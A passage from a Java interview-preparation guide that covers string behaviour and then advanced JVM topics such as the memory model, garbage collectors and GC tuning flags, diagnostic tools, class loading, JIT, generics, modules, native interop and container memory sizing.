- **Would `m.get(sb)` find `"k"`?** No, `equals` between `String` and `StringBuilder` is false.
- **Do keys need to be immutable?** Yes, for stable `hashCode`.

#immutability #hashmap #output

Q107 How does a switch on strings behave with colliding hash codes? ADVANCED

`"Aa"` prints `first`, `"BB"` prints `second`, anything else `none`. Both labels hash to 2112, so the generated lookupswitch falls into one bucket where `equals` picks the right label.

- Correctness never depends on hashes alone.
- The compiler emits two switches: one on `hashCode`, one on a computed index.

FOLLOW-UP TRAPS

- **Can duplicate labels exist?** No, compile error.
- **Does the order of labels matter?** Not for arrow-form arms, there is no fall-through.

#switch #hashcode #output

Q108 How do you reverse the words in a sentence robustly?

BASIC

Strip, split on one or more whitespace characters, reverse, and join with a single space.

```
List<String> w = Arrays.asList(s.strip().split("\\s+"));
Collections.reverse(w);
System.out.println(String.join(" ", w)); // blue is sky the
```

- Without `strip()`, a leading separator would produce a leading empty element.
- For huge input avoid regex; scan from the end with `lastIndexOf`.

FOLLOW-UP TRAPS

- **What does `split(" ")` give for multiple spaces?** Empty strings between them.
- **What does it return for an all-blank input after `strip()`?** `[""]`, so check `isBlank()` first.

#split #streams #interview

CORE JAVA · CHAPTER 8

Advanced Java

JVM memory model, garbage collectors and tuning, diagnostics tooling, memory leaks, class loading, JIT, references, generics, JPMS, native interop, low-level performance, OOM scenarios, containers and JMH.

104 questions **16** basic **55** intermediate **33** advanced

Theory

Q1 What are the main runtime memory areas of the JVM? BASIC

The JVM splits memory into the heap (objects, shared), per-thread stacks, Metaspace (class metadata, native memory), the code cache (JIT output) and other native areas (direct buffers, thread structures, GC data).

- Heap: young generation (Eden + two survivors) and old generation in generational collectors.
- Each thread has a stack of frames holding locals, operand stack and return info; `-Xss` sets its size.
- Metaspace replaced PermGen in Java 8 and lives in native memory.

FOLLOW-UP TRAPS

- **Is `-Xmx` the total process memory?** No. Metaspace, stacks, code cache, direct buffers and GC structures come on top of it.
- **Are strings in PermGen?** Not since Java 7; the string pool lives in the heap.

#jvm #memory #heap

Q2 What is stored on the stack versus the heap? BASIC

Local primitives and object references live in stack frames; all objects and arrays are allocated on the heap (conceptually). A frame is discarded when the method returns.

- Objects can be shared across threads; stack data is thread-confined.
- Escape analysis may scalar-replace an object so it never exists on the heap.

FOLLOW-UP TRAPS

- **Is a local `int[]` on the stack?** The reference is, the array is on the heap (unless the JIT eliminates the allocation).
- **What causes `StackOverflowError`?** Frames exhausting the thread stack, typically unbounded recursion.

#stack #heap #references

Q3 What does the Java Memory Model (JMM) guarantee? INTERMEDIATE

The JMM defines when a write by one thread is guaranteed visible to a read by another through the happens-before relation. Without happens-before, the compiler and CPU may reorder or cache writes.

- Edges: unlock -> later lock of the same monitor; `volatile` write -> later read of that variable; `Thread.start()`; `Thread.join()`; final-field freeze at constructor end.
- Program order within one thread also forms happens-before.

FOLLOW-UP TRAPS

- **Does `synchronized` only give mutual exclusion?** No, it also gives visibility and ordering.
- **Is a data race always a crash?** No, it yields undefined-ish but bounded results such as stale or torn (for non-volatile long/double on old 32-bit VMs) values.

#jmm #happens-before #visibility

Q4 What does `volatile` do and not do? BASIC

`volatile` guarantees visibility and prevents reordering around the access (acquire/release semantics plus sequential consistency among volatiles). It does not make compound operations atomic.

```
volatile int counter;
void inc() { counter++; } // read, add, write: lost updates possible
```

- Use `AtomicInteger`, `LongAdder` or locks for read-modify-write.
- Good for flags and safe publication of immutable objects.

FOLLOW-UP TRAPS

- **Is `volatile long` write atomic?** Yes; the spec guarantees atomicity for volatile `long` and `double`.
- **Does volatile on a reference make the object's fields volatile?** No, only the reference variable itself.

#volatile #visibility #atomicity

Q5 Explain safe publication and `final` field semantics. INTERMEDIATE

An object is safely published if its reference is handed over through a happens-before edge (volatile, lock, static initializer, concurrent collection). Properly constructed objects with `final` fields are visible fully initialized to any thread, even via a data race.

- The `this` reference must not escape from the constructor.
- Non-final fields of an unsafely published object may appear with default values.

FOLLOW-UP TRAPS

- **Does `final` on a reference make the referenced object immutable?** No, only the reference is frozen; the freeze guarantee covers what was reachable through final fields at construction end.
- **Is double-checked locking safe?** Only if the field is `volatile` (Java 5+).

#jmm #final #safe-publication

Q6 How does generational garbage collection work? BASIC

Most objects die young (weak generational hypothesis), so the heap is split into a young generation collected often and cheaply by copying survivors, and an old generation collected rarely.

- New objects go to Eden; a minor GC copies live objects to a survivor space, ageing them.
- After surviving `MaxTenuringThreshold` cycles (or if survivors overflow) objects are promoted to old.
- Card tables / remembered sets track old-to-young references so a young GC need not scan old.

FOLLOW-UP TRAPS

- **Does a minor GC stop the world?** Yes, in all HotSpot collectors the young collection is STW (G1, Parallel) or partly concurrent in generational ZGC/Shenandoah variants.
- **What is a promotion failure?** Old space cannot accept promoted objects, forcing a full GC.

#gc #generational #young-gen

Q7 How does reachability determination work (GC roots)? BASIC

The GC marks everything reachable from GC roots: live thread stacks and registers, static fields of loaded classes, JNI references, and monitors held. Unreached objects are garbage, regardless of cycles.

- Java does not use reference counting, so cyclic structures are collected.
- Class loaders and their classes are roots-reachable only through live references.

FOLLOW-UP TRAPS

- **Can an object with a finalizer be resurrected?** Historically yes; finalization is deprecated for removal (Java 18+), use `Cleaner`.
- **Is a local variable reachable after its last use?** The JIT may treat it as dead; use `Reference.reachabilityFence` when needed.

#gc #roots #reachability

Q8 Compare Serial, Parallel, G1, ZGC and Shenandoah at a high level. INTERMEDIATE

Serial and Parallel are STW, throughput-oriented; G1 is the balanced region-based default; ZGC and Shenandoah are concurrent low-pause collectors.

- Serial: single thread, tiny heaps and containers.
- Parallel: multi-threaded STW, best raw throughput, pauses grow with heap.
- G1: regions, mixed collections, pause target via `-XX:MaxGCPauseMillis` (default 200ms).
- ZGC: colored pointers + load barriers, sub-millisecond pauses, regions, generational mode default in Java 23+.
- Shenandoah: Brooks pointer / load-reference barrier, concurrent compaction, pauses independent of heap size.

FOLLOW-UP TRAPS

- **Which is the default?** G1 on server-class machines (2+ CPUs, 1792MB+) since Java 9; otherwise Serial.
- **Does concurrent mean no pauses?** Pauses still exist but are short and mostly size-independent.

#gc #collectors #comparison

Q9 How does G1 organize the heap and collect it? INTERMEDIATE

G1 divides the heap into equal regions (1-32MB) that are dynamically Eden, Survivor, Old or Humongous. It collects a "collection set" chosen to meet the pause target, preferring regions with most garbage.

- Young GC: STW evacuation of Eden/Survivor regions.
- Concurrent marking starts when occupancy hits `InitiatingHeapOccupancyPercent` (45%; adaptive since Java 9).
- Mixed GCs then evacuate young plus the most garbage-rich old regions.
- Full GC (parallel since Java 10) is the fallback.

FOLLOW-UP TRAPS

- **Does G1 guarantee the pause target?** No, it is a soft goal.
- **What are humongous objects?** Objects at least half a region; they are allocated in contiguous old regions and are expensive.

#g1 #regions #mixed-gc

Q10 What is a humongous allocation in G1 and why is it a problem? ADVANCED

An object of size >= region/2 is humongous: it takes whole contiguous regions directly in old space, bypassing Eden. They can cause fragmentation, premature concurrent cycles and Full GCs.

- Reclaimed at young GC if proven dead (eager reclaim) for primitive arrays without references.
- Mitigations: raise `-XX:G1HeapRegionSize`, chunk large buffers, reuse arrays, avoid giant `byte[]` copies.
- Diagnose with `-Xlog:gc+humongous=debug`.

FOLLOW-UP TRAPS

- **Does a 600KB array with 1MB regions count?** Yes, it exceeds 512KB.
- **Does increasing heap fix it?** Not necessarily; contiguity is the problem, not total space.

#g1 #humongous #fragmentation

Q11 How does ZGC achieve low pauses? ADVANCED

ZGC does marking, relocation and reference processing concurrently with application threads. Load barriers check pointer metadata ("colors") and fix up stale references on access, so STW phases only scan roots.

- Pauses are typically well under 1ms and do not scale with heap or live set.
- Supports multi-terabyte heaps; generational ZGC (`-XX:+ZGenerational`, Java 21; the only mode from Java 24) improves throughput.
- Costs: load barrier overhead, more CPU and memory headroom required.

FOLLOW-UP TRAPS

- **Can ZGC still throw OOM or stall allocation?** Yes, if allocation outpaces reclamation it stalls threads ("Allocation Stall").
- **Is ZGC the answer for throughput batch jobs?** Usually Parallel wins there.

#zgc #load-barrier #colored-pointers

Q12 How does Shenandoah differ from ZGC? ADVANCED

Both are concurrent-compacting, but Shenandoah uses a load-reference barrier (since Java 13, formerly Brooks forwarding pointer) with reference-forwarding in the object, while ZGC uses colored pointers and load barriers on 64-bit only.

- Shenandoah ships in OpenJDK builds from many vendors (not Oracle JDK); ZGC is in all.
- Shenandoah works on 32-bit and compressed oops; ZGC historically did not support compressed oops (it does not use them).
- Enable with `-XX:+UseShenandoahGC`.

FOLLOW-UP TRAPS

- **Does ZGC use compressed oops?** No, so its pointer overhead is larger on heaps under 32GB.
- **Does pause time depend on heap size for either?** Not meaningfully; it depends on roots.

#shenandoah #zgc #barriers

Q13 What does the Parallel collector optimize and when do you choose it? INTERMEDIATE

Parallel GC (`-XX:+UseParallelGC`) uses multiple threads for STW young and full collections to maximize application throughput, accepting longer pauses.

- Good for batch/ETL jobs where total runtime matters and pauses do not.
- Tunables: `-XX:ParallelGCThreads`, `-XX:GCTimeRatio`, `-XX:MaxGCPauseMillis`.
- Old gen is compacted by a full GC, whose pause grows with live set.

FOLLOW-UP TRAPS

- **Is Parallel the default in Java 8?** Yes; G1 became default in Java 9.
- **Does it have lower overhead than G1?** Usually, with no concurrent threads and cheaper barriers.

#parallel-gc #throughput

Q14 Which GC tuning flags matter most? INTERMEDIATE

Start with heap sizing and the collector choice, then pause target; avoid micro-flags until logs justify them.

```
java -Xms4g -Xmx4g -XX:+UseG1GC -XX:MaxGCPauseMillis=150 \
  -XX:MaxRAMPercentage=75 -Xlog:gc*:file=gc.log:time,uptime \
  -XX:+HeapDumpOnOutOfMemoryError -XX:HeapDumpPath=/dumps -jar app.jar
```

- `-Xms` = `-Xmx` avoids resize pauses.

- `-XX:NewRatio` / `-Xmn` size young; G1 sizes it adaptively, so fixing it disables adaptation.
- `-XX:+AlwaysPreTouch` pre-commits pages for predictable latency.

> **FOLLOW-UP TRAPS**
> - **Should you set `-Xmn` with G1?** Generally no; it overrides pause-target tuning.
> - **Is `-XX:+UseStringDeduplication` free?** No, it costs CPU; it helps with many duplicate strings under G1/ZGC/Shenandoah.

#gc-tuning #flags

Q15 How do you read GC logs in modern Java? INTERMEDIATE

Since Java 9 unified logging replaces `-XX:+PrintGCDetails`: `-Xlog:gc*` writes tagged, levelled output. Key signals are pause duration, cause, heap before/after, and frequency.

- `Pause Young (Normal) (G1 Evacuation Pause) 512M->120M(1024M) 8.3ms`.
- Causes: `G1 Humongous Allocation`, `Metadata GC Threshold`, `System.gc()`, `Allocation Failure`.
- Tools: GCViewer, GCeasy, JDK Mission Control.

> **FOLLOW-UP TRAPS**
> - **Is `-XX:+PrintGCDetails` valid on Java 17?** It was removed; use `-Xlog`.
> - **What does `Pause Full` in a G1 log signal?** A failure of concurrent cycle or evacuation; investigate.

#gc-logging #xlog

Q16 What is the difference between `jmap`, `jstack`, `jcmd` and `jstat`? BASIC

`jcmd` is the modern unified tool; the others are specialized.

- `jstack <pid>`: thread dump with locks and deadlock detection.
- `jmap -dump:live,format=b,file=h.hprof <pid>`: heap dump; `-histo` for class histogram.
- `jstat -gcutil <pid> 1000`: live GC statistics.
- `jcmd <pid> Thread.print | GC.heap_dump | GC.class_histogram | VM.flags | JFR.start`.

> **FOLLOW-UP TRAPS**
> - **Does `jmap -dump:live` pause the JVM?** Yes, it forces a full GC and STW.
> - **Can you attach as a different user?** No; the tool must run as the same OS user as the target JVM.

#tooling #jcmd #jstack

Q17 What is Java Flight Recorder (JFR) and how do you use it? INTERMEDIATE

JFR is a low-overhead (typically 1-2%) event recorder built into the JVM, free since Java 11. It captures GC, allocation, locks, I/O, CPU samples and custom events into a `.jfr` file analyzed in JDK Mission Control or `jfr` CLI.

```
java -XX:StartFlightRecording=duration=60s,filename=rec.jfr,settings=profile -jar app.jar
jcmd <pid> JFR.start name=r1 settings=profile
jcmd <pid> JFR.dump name=r1 filename=/tmp/r1.jfr
jfr summary rec.jfr
```

- `default` profile is safe for always-on; `profile` has more detail.
- Allocation sampling attributes hot allocation sites without full instrumentation.

> **FOLLOW-UP TRAPS**
> - **Does JFR suffer safepoint bias?** Much less than many profilers, since it samples asynchronously (though not fully free of it).
> - **Can you add application events?** Yes, extend `jdk.jfr.Event`.

#jfr #profiling #observability

Q18 How does a class loader hierarchy work and what is parent delegation? INTERMEDIATE

Loaders form a hierarchy: bootstrap (core modules, native), platform (formerly extension), application (classpath). `loadClass` first delegates to the parent and only loads itself if the parent fails.

- Guarantees core classes like `java.lang.String` cannot be replaced by user code.
- A class's identity is (name, defining loader); the same bytes in two loaders are different classes.
- Servlet containers and OSGi invert or break delegation for isolation.

FOLLOW-UP TRAPS

- **Why a `ClassCastException` between identical class names?** They were defined by different loaders.
- **Does `getClass().getClassLoader()` return null for `String`?** Yes, bootstrap is represented as null.

#classloader #delegation

Q19 Describe the class loading and initialization lifecycle. INTERMEDIATE

Loading -> linking (verification, preparation, resolution) -> initialization. Initialization runs static initializers (`<clinit>`) exactly once, lazily, under a lock, on first active use.

- Triggers: `new`, static method/non-constant field access, reflection `Class.forName(name)`, subclass init.
- Constants (`static final` compile-time) do not trigger init.
- Circular initialization between classes can see default values or deadlock across threads.

FOLLOW-UP TRAPS

- **Does loading imply initialization?** No; `Class.forName(n, false, loader)` loads only.
- **What if `<clinit>` throws?** The class becomes unusable, with `NoClassDefFoundError` on later use.

#classloading #initialization #clinit

Q20 What are Metaspace and PermGen, and how do they differ? BASIC

PermGen was a fixed-size heap region for class metadata (removed in Java 8). Metaspace stores that metadata in native memory and grows on demand, bounded by `-XX:MaxMetaspaceSize` (unlimited by default).

- Metaspace is freed when the owning class loader is garbage collected.
- `-XX:MetaspaceSize` is the high-water mark that triggers the first GC, not a reservation.

FOLLOW-UP TRAPS

- **Can Metaspace still run out?** Yes, via class loader leaks or dynamic class generation, reported as `OutOfMemoryError: Metaspace`.
- **Does Java 8 `-XX:PermSize` still work?** It is ignored with a warning (and removed later).

#metaspace #permgen

Q21 How does the JIT and tiered compilation work? INTERMEDIATE

HotSpot interprets bytecode first, profiles it, then compiles hot methods: C1 (fast, light optimization) at tiers 1-3 and C2 (aggressive) at tier 4. Tiered compilation is on by default.

- Tier 0 interpreter; tier 3 is C1 with full profiling; tier 4 is C2.
- Thresholds are invocation plus back-edge (loop) counters; OSR compiles hot loops mid-execution.
- Deoptimization reverts to the interpreter when speculative assumptions break (class loaded, type profile changes).

FOLLOW-UP TRAPS

- **Why is the first request slow?** Cold code runs interpreted or in C1; warm-up is required.
- **What is OSR?** On-stack replacement: switching a running loop to compiled code.

#jit #tiered #c1-c2

Q22 Name key JIT optimizations. INTERMEDIATE

Inlining is the foundational optimization enabling the rest: escape analysis, constant folding, dead code elimination, loop unrolling, range-check elimination, devirtualization and lock coarsening/elision.

- Monomorphic and bimorphic call sites are inlined with a type guard; megamorphic sites use vtable/itable dispatch.
- Methods under `MaxInlineSize` (35 bytecodes) or hot ones up to `FreqInlineSize` (325) are inlinable.
- Inspect with `-XX:+PrintCompilation`, `-XX:+UnlockDiagnosticVMOptions -XX:+PrintInlining`.

FOLLOW-UP TRAPS

- **Why can a large method be slow?** It may exceed inline or huge-method limits (8000 bytecodes is not compiled at all).
- **Does `final` help inlining?** Little; the JIT uses class hierarchy analysis.

#jit #inlining #optimizations

Q23 What is escape analysis and scalar replacement? ADVANCED

C2 analyzes whether an object can be observed outside its method or thread. If not, it can scalar-replace it (fields become locals, no allocation) and elide its locks.

```
double dist(double x, double y) {
    Point p = new Point(x, y);   // may never be allocated
    return Math.sqrt(p.x * p.x + p.y * p.y);
}
```

- Fails when the object is stored in a field, passed to a non-inlined call, or returned.
- Flag: `-XX:+DoEscapeAnalysis` (default on).
- Not "stack allocation": HotSpot has no real stack allocation.

FOLLOW-UP TRAPS

- **Does escape analysis work in the interpreter or C1?** No, only C2 (and Graal).
- **Is it guaranteed?** No; it is heuristic and depends on inlining success.

#escape-analysis #jit #allocation

Q24 Compare strong, soft, weak and phantom references. INTERMEDIATE

Strong references block collection. Soft are cleared under memory pressure, weak at the next GC when no strong refs remain, and phantom are enqueued after the object is finalized and used for cleanup actions (`get()` always returns null).

- Soft: memory-sensitive caches (policy via `-XX:SoftRefLRUPolicyMSPerMB`).
- Weak: canonicalizing maps like `WeakHashMap`, listener registries.
- Phantom + `ReferenceQueue`: resource cleanup; `java.lang.ref.Cleaner` wraps this.

FOLLOW-UP TRAPS

- **Is a soft-reference cache a good cache?** Poor: GC timing is unpredictable; prefer Caffeine with size bounds.
- **Does `WeakHashMap` weakly hold values?** No, only keys; a value referencing its key prevents removal.

#references #soft #weak #phantom

Q25 What is the difference between `Cleaner`, `finalize` and try-with-resources? INTERMEDIATE

Try-with-resources gives deterministic closing. `Cleaner` (Java 9+) is a safety net run by a daemon thread when an object becomes phantom reachable. `finalize()` is deprecated for removal because it is slow,

unpredictable and can resurrect objects.

- The cleaning action must not reference the object it cleans, or it will never run.
- Never rely on either for releasing scarce resources promptly.

FOLLOW-UP TRAPS

- **Is `finalize` guaranteed to run?** No, not even at JVM exit.
- **Does a finalizable object cost extra?** Yes, it needs at least two GC cycles to reclaim and a finalizer queue.

#cleaner #finalize #resources

Q26 What is type erasure and what are its consequences? BASIC

Generic type parameters are checked at compile time and erased to their bounds (or `Object`) in bytecode, with casts inserted. At runtime `List<String>` and `List<Integer>` are both `List`.

- Cannot do `new T()`, `new T[n]`, `instanceof List<String>`, or overload by type argument.
- Generic info persists in signatures and can be read through reflection (`getGenericSuperclass`).
- Bridge methods preserve polymorphism after erasure.

FOLLOW-UP TRAPS

- **Does `List<String>` equal `List<Integer>` class?** `getClass()` is identical.
- **Can you catch `T extends Exception`?** No; generic classes cannot extend `Throwable`, and you cannot catch a type variable.

#generics #erasure

Q27 Explain wildcards and the PECS rule. INTERMEDIATE

Producer Extends, Consumer Super: use `? extends T` when you only read T from a structure and `? super T` when you only write T into it. `List<? extends Number>` is covariant and read-only (except `null`); `List<? super Integer>` is contravariant and write-friendly.

```
static <T> void copy(List<? super T> dst, List<? extends T> src) {
    for (T t : src) dst.add(t);
}
```

- `Collections.copy` and `Comparator<? super T>` follow PECS.
- `?` alone means unknown type, usable for read as `Object`.

FOLLOW-UP TRAPS

- **Can you add an `Integer` to `List<? extends Number>`?** No, the actual element type is unknown; only `null` compiles.
- **Is `List<Integer>` a subtype of `List<Number>`?** No, generics are invariant.

#generics #wildcards #pecs

Q28 What is heap pollution and why do varargs of generics warn? ADVANCED

Heap pollution occurs when a variable of a parameterized type refers to an object that is not of that type, which surfaces later as a `ClassCastException` at an unrelated line. Generic varargs create an array of the erased type, which enables it.

```
static <T> T[] toArray(T... xs) { return xs; } // unchecked warning
String[] s = toArray("a", 1);                  // CCE at call site
```

- `@SafeVarargs` asserts the method does not expose the array (allowed on static, final, private methods).
- Raw types and unchecked casts are the other sources.

FOLLOW-UP TRAPS

- **Why does `new List<String>[10]` not compile?** Arrays are reified and covariant; generic arrays would break type safety.
- **Where does the CCE fire?** At the compiler-inserted cast, far from the pollution.

#generics #heap-pollution #varargs

Q29 What are bridge methods and why do they exist? ADVANCED

When a subclass overrides a generic method with a concrete type, the compiler generates a synthetic bridge method with the erased signature that casts and delegates, preserving polymorphism.

```
class Box<T> { void set(T t) {} }
class IntBox extends Box<Integer> {
    @Override void set(Integer i) {} // plus bridge: set(Object)
}
```

- Also used for covariant return types.
- Visible via `javap -p` or `Method.isBridge()`.

FOLLOW-UP TRAPS

- **Can bridges cause surprising stack traces?** Yes, an extra synthetic frame appears.
- **Can you call `set("x")` on a raw `IntBox`?** It compiles with a warning and throws `ClassCastException` in the bridge.

#generics #bridge-methods #erasure

Q30 How do bounded type parameters and recursive bounds work? INTERMEDIATE

`<T extends Comparable<T>>` constrains T to types comparable with themselves. Multiple bounds use `&`: `<T extends Number & Comparable<T>>`, with the class first.

```
static <T extends Comparable<? super T>> T max(Collection<? extends T> c) {
    Iterator<? extends T> it = c.iterator();
    T best = it.next();
    while (it.hasNext()) { T x = it.next(); if (x.compareTo(best) > 0) best = x; }
    return best;
}
```

- `? super T` in `Comparable` lets a `java.sql.Timestamp` use its parent's `compareTo`.
- Erasure of the type variable is its first bound.

FOLLOW-UP TRAPS

- **Why `Comparable<? super T>` rather than `Comparable<T>`?** Subclasses of a comparable class would otherwise be rejected.
- **Can a bound be a type variable?** Yes (`<T, U extends T>`), but not a lower bound on a type parameter.

#generics #bounds #comparable

Q31 What is a module (JPMS) and what problems does it solve? INTERMEDIATE

Java 9's module system adds `module-info.java` declaring a module's name, dependencies (`requires`) and exported packages. It provides strong encapsulation and reliable configuration at startup.

```
module com.acme.orders {
    requires java.sql;
    requires transitive com.acme.common;
    exports com.acme.orders.api;
    opens com.acme.orders.model to com.fasterxml.jackson.databind;
    uses com.acme.spi.Tax;
    provides com.acme.spi.Tax with com.acme.orders.VatTax;
}
```

- Non-exported packages are inaccessible even via `public` and reflection.
- `jlink` builds trimmed runtime images.

FOLLOW-UP TRAPS

- **Does `exports` allow reflection on private members?** No, `opens` is needed for deep reflection.
- **Is a modular app required on Java 9+?** No, classpath code lives in the unnamed module.

#jpms #modules #encapsulation

Q32 What are automatic modules, the unnamed module and `--add-opens`? ADVANCED

A plain JAR on the module path becomes an automatic module (name from `Automatic-Module-Name` or filename) that exports and opens everything and reads all modules. The classpath contents form the unnamed module.

- Since Java 16/17, JDK internals are strongly encapsulated: `--illegal-access` is gone.
- Workarounds for legacy libraries: `--add-opens java.base/java.lang=ALL-UNNAMED`, `--add-exports`.
- Split packages across modules are forbidden on the module path.

FOLLOW-UP TRAPS

- **Why does a library fail on Java 17 with `InaccessibleObjectException`?** It reflects into JDK internals; add `--add-opens` or upgrade it.
- **Can named modules read the unnamed module?** No.

#jpms #automatic-module #add-opens

Q33 What is the Java Native Interface and what are its drawbacks? INTERMEDIATE

JNI lets Java call C/C++ through `native` methods bound to functions in a shared library loaded with `System.loadLibrary`. Headers are generated by `javac -h`.

- Drawbacks: boilerplate, crashes the whole JVM on bugs, manual local/global reference management, slow-ish transitions, hard to test and port.
- Critical sections pin arrays or hamper GC (`GetPrimitiveArrayCritical`).
- Used by many JDK internals and libraries (zstd, RocksDB).

FOLLOW-UP TRAPS

- **Can a segfault in native code be caught in Java?** No; the JVM process dies (hs_err log).
- **Do JNI local references leak?** Yes in long native loops unless deleted or frames are used.

#jni #native #interop

Q34 What is the Foreign Function and Memory API (Project Panama)? ADVANCED

The FFM API (`java.lang.foreign`, final in Java 22) replaces JNI and `Unsafe` for native interop: `Linker` binds C functions, `MemorySegment` gives bounds-checked off-heap access, and `Arena` controls lifetime deterministically.

```
Linker linker = Linker.nativeLinker();
MethodHandle strlen = linker.downcallHandle(
    linker.defaultLookup().find("strlen").orElseThrow(),
    FunctionDescriptor.of(ValueLayout.JAVA_LONG, ValueLayout.ADDRESS));
try (Arena a = Arena.ofConfined()) {
    long n = (long) strlen.invokeExact(a.allocateFrom("hello")); // 5 (Java 22+)
}
```

- Pure Java, no C glue; `jextract` generates bindings from headers.
- Safe: spatial and temporal checks prevent use-after-free.

FOLLOW-UP TRAPS

- **Is the API restricted?** Yes, native access warns unless `--enable-native-access` is given.
- **Was it final in Java 21?** No, it was a preview there and the string allocation method was named `allocateUtf8String`; Java 22 renamed it to `allocateFrom`.

#panama #ffm #native

Q35 What are direct buffers and when should you use them? INTERMEDIATE

`ByteBuffer.allocateDirect` allocates memory outside the heap, avoiding a copy during native I/O. Allocation is expensive and freed only when the small `Buffer` object is garbage collected.

- Limited by `-XX:MaxDirectMemorySize` (defaults to roughly `-Xmx`).
- Good for long-lived, reused buffers (Netty pools them).
- Leaks appear as native memory growth with a small heap; error: `OutOfMemoryError: Direct buffer memory`.

FOLLOW-UP TRAPS

- **Does `-Xmx` limit direct memory?** Not directly; separate cap.
- **Are heap buffers copied for I/O?** Yes, the JDK copies through a temporary direct buffer.

#nio #direct-buffer #off-heap

Q36 What is false sharing? ADVANCED

Two threads write independent variables that sit on the same 64-byte cache line, so the line ping-pongs between cores via the coherence protocol and throughput collapses.

- Symptom: scaling worse than linear with threads while no lock contention exists.
- Fixes: padding, `@jdk.internal.vm.annotation.Contended` (needs `-XX:-RestrictContended`), splitting per-thread state, `LongAdder` (uses `@Contended` cells).
- Verify with `perf c2c` or JMH multi-threaded benchmarks.

FOLLOW-UP TRAPS

- **Does `volatile` cause false sharing?** Any write does; volatile just makes it worse by forcing visibility.
- **Does the JVM reorder fields to avoid it?** It may reorder, but not to prevent sharing.

#false-sharing #cpu-cache #performance

Q37 What is the cost of boxing and how do you avoid it? BASIC

Autoboxing wraps primitives into objects (`Integer`), costing allocation, an extra pointer indirection and GC pressure. `List<Integer>` uses about 16 bytes per element plus the 4-8 byte reference versus 4 for `int[]`.

- `Integer.valueOf` caches -128..127 (extendable via `-XX:AutoBoxCacheMax`).
- Prefer primitive streams (`IntStream`), primitive-specialized collections (Eclipse Collections, fastutil), `long` accumulators.
- Escape analysis can remove some boxing, not reliably.

FOLLOW-UP TRAPS

- **Is `new Integer(5) == new Integer(5)` ?** False; also deprecated for removal.
- **What does `Integer` null in arithmetic do?** `NullPointerException` on unboxing.

#boxing #performance #allocation

Q38 How does object allocation work in HotSpot (TLAB)? ADVANCED

Each thread gets a Thread-Local Allocation Buffer, a chunk of Eden, so most allocations are a pointer bump with no locking. When the TLAB is full, a new one is requested; huge objects bypass it.

- Allocation is typically ~10-20 instructions in compiled code.
- Tuning: `-XX:+PrintTLAB`, `-XX:TLABSize`, `-XX:-ResizeTLAB` rarely needed.
- Allocation rate (MB/s) drives young GC frequency.

FOLLOW-UP TRAPS

- **Is `new` slow in Java?** No, usually cheaper than `malloc`; the cost is in GC and cache effects.
- **Are objects zeroed?** Yes, memory is zeroed before use (or the JIT proves it is overwritten).

#allocation #tlab

Q39 What are compressed oops and the 32GB heap boundary? ADVANCED

With heaps under ~32GB, HotSpot stores references as 32-bit values scaled by object alignment (8 bytes), halving reference size. Beyond about 32GB the JVM switches to 64-bit references and memory use jumps.

- `-XX:+UseCompressedOops` is automatic; check with `-XX:+PrintFlagsFinal`.
- A 40GB heap may hold less data than a 31GB one.
- Class pointers are compressed separately (`UseCompressedClassPointers`).

FOLLOW-UP TRAPS

- **Does the limit change with `-XX:ObjectAlignmentInBytes=16` ?** Yes, up to ~64GB at the cost of padding.
- **Does ZGC use compressed oops?** No.

#compressed-oops #heap-sizing

Q40 What are `Unsafe` and `VarHandle` ? ADVANCED

`sun.misc.Unsafe` offers unchecked memory and CAS operations used by JDK and frameworks; it is being phased out. `VarHandle` (Java 9) is the supported replacement for fields, arrays and buffers with defined memory-ordering modes.

```
class Counter {
    volatile int n;
    static final VarHandle N;
    static { try { N = MethodHandles.lookup().findVarHandle(Counter.class, "n", int.class); }
             catch (ReflectiveOperationException e) { throw new ExceptionInInitializerError(e); }
}
    int incr() { return (int) N.getAndAdd(this, 1) + 1; }
}
```

- Modes: plain, opaque, acquire/release, volatile; `compareAndSet`, `getAndAdd`.
- JEP 471 deprecates memory-access methods of `Unsafe` for removal.

FOLLOW-UP TRAPS

- **Why store a `VarHandle` in `static final` ?** So the JIT treats it as a constant and inlines the access.
- **Is `Unsafe` accessible via `getUnsafe()` ?** Only for the bootstrap loader; frameworks reflect `theUnsafe`.

#unsafe #varhandle #atomics

Q41 How do Java memory ordering modes (plain/opaque/acquire-release/volatile) differ? ADVANCED

From weakest to strongest: plain (no guarantees), opaque (coherence, no tearing, eventually visible), release/acquire (writes before a release are visible after the matching acquire), volatile (total order across all volatile accesses).

- Release/acquire suffices for producer/consumer handoff and is cheaper on ARM.
- `x86` gives acquire/release nearly for free; volatile writes still need a fence.
- Used inside `AtomicXxx.lazySet` (release) and JCTools queues.

FOLLOW-UP TRAPS

- **Is acquire/release sequentially consistent?** No, independent writes can be observed in different orders by different threads.
- **Does opaque order other variables?** No, only the single variable.

#varhandle #memory-ordering #jmm

Q42 How does the JVM detect container limits (ergonomics)? INTERMEDIATE

Since Java 10 (backported to 8u191) the JVM reads cgroup limits to size the default heap and CPU count. Default max heap is 25% of container memory; `-XX:MaxRAMPercentage` adjusts it.

- `availableProcessors()` derives from CPU quota; this sizes GC threads, ForkJoin common pool and compiler threads.
- `-XX:ActiveProcessorCount=N` overrides.
- `-XX:+UseContainerSupport` is on by default.

FOLLOW-UP TRAPS

- **Why 25% by default?** It is conservative for non-heap usage; set 60-75% for dedicated JVM containers.
- **Does a 1 CPU limit choose G1?** No, it picks Serial (needs 2+ CPUs and 1792MB).

#containers #ergonomics #cgroups

Q43 How should you size container memory for a JVM? INTERMEDIATE

Container limit = heap + Metaspace + code cache + thread stacks + direct memory + GC overhead + native libraries. A rough rule is heap at 60-75% of the limit.

```
FROM eclipse-temurin:21-jre
ENV JAVA_TOOL_OPTIONS="-XX:MaxRAMPercentage=70 -XX:+ExitOnOutOfMemoryError"
COPY app.jar /app.jar
ENTRYPOINT ["java", "-jar", "/app.jar"]
```

- Verify real footprint with `-XX:NativeMemoryTracking=summary` and `jcmd VM.native_memory`.
- The kernel OOM killer sends SIGKILL (exit 137) when the cgroup limit is exceeded, with no Java stack trace.

FOLLOW-UP TRAPS

- **Is exit code 137 a Java OOM?** No, it is the kernel killing the process.
- **Do requests or limits drive ergonomics?** Limits.

#containers #memory-sizing #kubernetes

Q44 What is Native Memory Tracking (NMT)? INTERMEDIATE

NMT is a JVM feature tracking its own native allocations by category (heap, class, thread, code, GC, internal, symbol). Enable with `-XX:NativeMemoryTracking=summary|detail`, query with `jcmd <pid> VM.native_memory summary`.

- Use `baseline` and `summary.diff` to find growth.

- Overhead is 5-10% for `detail`, small for `summary`.
- It does not see allocations by third-party native libraries or glibc fragmentation.

> **FOLLOW-UP TRAPS**
